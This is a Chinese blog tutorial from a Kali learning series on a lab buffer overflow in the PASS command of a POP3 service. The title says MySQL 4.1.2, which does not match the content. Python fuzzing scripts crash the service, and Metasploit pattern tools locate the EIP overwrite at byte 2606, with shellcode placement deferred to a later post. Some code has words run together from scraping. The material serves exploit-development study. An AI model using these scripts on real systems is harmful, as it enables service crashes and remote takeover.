mysql4.1.2缓冲区溢出漏洞_Kali学习笔记21:缓冲区溢出实验(漏洞发现)

本文详细记录了在Kali Linux环境下,通过Python脚本利用MySQL4.1.2的缓冲区溢出漏洞进行测试的过程。通过发送不同长度的字符,最终确定2600-2700字节间的数据可以触发溢出。通过二分法和唯一字符串法定位到EIP寄存器被覆盖的位置,为实现远程控制奠定了基础。
摘要由CSDN通过智能技术生成

上一篇文章,我已经做好了缓冲区溢出实验的准备工作:

下面就是Kali虚拟机对缓冲区溢出的测试:

已经知道目标IP为:192.168.163.130

1ad95c0971f5be6b16589e8fb7572650.png

连接目标机器110端口成功,接下来进行测试

事先已经知道PASS命令存在缓冲区溢出漏洞:

只要在PASS后边输入的数据达到某一个值时,就会出现缓冲区溢出漏洞

但是,手动尝试这个值实在有点低端,写一个Python脚本:

先写一个基本的脚本来测试:

#!/usr/bin/python

importsocket

s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)try:print "\nSending evil buffer..."s.connect(('192.168.163.130', 110))

data= s.recv(1024)printdata

s.send('USER test' + '\r\n')

data= s.recv(1024)printdata

s.send('PASS test\r\n')

data= s.recv(1024)printdata

s.close()print '\nDone'

except:print 'Can not connect to POP3'

使用脚本:

如果脚本是从windows移过来的:

vi xxx.py

:set fileformat=unix

:wq

chmod u+x xxx.py

./xxx.py

测试:OK

f0444985b0c33e7f760e5d4a0c861c61.png

完善脚本:

#!/usr/bin/python

importsocket

buffer= ["A"]

counter= 100

while len(buffer) <= 30:

buffer.append("A" *counter)

counter+= 200

for string inbuffer:print "FUZZING PASS WITH %s BYTES" %len(string)

s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)

connect= s.connect(('192.168.163.130', 110))

s.recv(1024)

s.send('USER test' + '\r\n')

s.recv(1024)

s.send('PASS' + string + '\r\n')

s.send('QUIT\r\n')

s.close()

测试:OK

3a38417d39e92f0b4c283e9b04f716ad.png

我们发送这么多的数据来测试,那么问题来了,要怎么判断目标机器到底有没有缓冲区溢出?

这时候就需要上一篇提到的ImmunityDebugger了:

先得到进程的PID:

b537d9ae1555a0f8452b55d0844fbe24.png

记住这个PID,打开ImmunityDebugger,file菜单选择attach

然后找到刚才的PID选择即可:

bde49ef73b03882e6ca5c4deda653cc1.png

默认的暂停状态,点击开始按钮来继续:

740fd639bdaf0d90c39ad378a14f3145.png

打开Kali虚拟机开始发送:

果然,发送到2900的时候停下来了:

9c52917e249facfe4922bc9704d148f4.png

我们看看windows机器:

观察寄存器:

ce0072fa81f9a70e22534a6d478d4393.png

注意这里的寄存器显示:41414141,根据Ascii码表,得出是AAAA

这里重点注意EIP:系统下一步要执行指令的内存地址

而这里下一条指令全部都是A,没有正确的执行代码,所以现在程序已经崩溃了

再看看下边的内存信息:全部都是A

4c11ac735f1e22a143c7ed2e9b409764.png

我们可以把脚本的A改成其他字符继续测试,发现都是到3000左右程序崩溃

到这里我们想到:是否可以通过这个漏洞来做一些事情?

OK,我们可以通过脚本测试得到确切的溢出值,然后修改EIP寄存器存放下一条指令的地址

可以添加一些后门程序,如果是Shellcode就可以进一步控制目标机器

下一个目标: 找出精确的溢出到EIP寄存器的字节,进而可以修改程序运行轨迹

我们进一步来写一个脚本:

#!/usr/bin/python

importsocket

buffer= 'A' * 2700s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)try:print "\nSending evil buffer...\n"s.connect(('192.168.163.130', 110))

data1= s.recv(1024)

s.send('USER test' + '\r\n')

data2= s.recv(1024)

s.send('PASS' + buffer + '\r\n')

s.close()print '\nDone'

except:print 'Can not connect to POP3'

发送过去程序崩溃了,说明2700大了,那么需要调小一些,

改成2600试试:发现程序崩溃了,但是EIP并不是A,所以想要利用需要比2600大

到这里就知道了,最终数据应该是2600-2700之间

不过,具体该怎么精确地跳转呢?

二分法:不必多说

唯一字符串法:生成2700个字符,每四个一组,每一组字符串唯一,发送唯一字符串,精确定位

唯一字符串脚本比较复杂,但不需要自己写,Kali虚拟机里面就有:metasploit-framework一个ruby脚本

c6cbf548246dc7f7a61f87cdee7dfbd9.png

使用方式: ./pattern_create.rb -l 2700

我们使用这2700个字符地唯一字符串来修改上边地脚本,把“A”*2700换成这个字符串

查看寄存器:

b9dc079c6a8080249a6353e362acd17c.png

发现唯一字符串对应地址(16进制)是:39 69 44 38

由于内存地址,读取要倒过来:38 44 69 39

对应字符是:8 D i 9

那么怎样知道对应第几位呢?

metasploit-framework一个ruby脚本可以解决:

3ab08bbb98fa3cc6daf0af70c94e4ba5.png

使用:

0d95774a6a329ed06e219b00c4929189.png

或者这样:

2f86d1f88dbedd8ece83ba87d9c31cfc.png

得出是在第2606个位置

既然得到了是在第2606个位置:

就可以继续修改这个脚本了:测试能否恰好是BBBB

#!/usr/bin/python

importsocket

buffer= 'A' * 2606 + 'B' * 4 + 'C' * 20s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)try:print "\nSending evil buffer...\n"s.connect(('192.168.163.130', 110))

data1= s.recv(1024)

s.send('USER test' + '\r\n')

data2= s.recv(1024)

s.send('PASS' + buffer + '\r\n')

s.close()print '\nDone'

except:print 'Can not connect to POP3'

果然:

0894aa786997c3256310d66ce4acfe18.png

查看42对应的就是B

那么

假设,在ESP中,不是20个C,而是Shellcode或者是恶意代码(反向连接等等)

就可以实现远程控制的目的

具体如何精确修改而实现对目标机器的控制呢?

下一篇随笔具体介绍

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值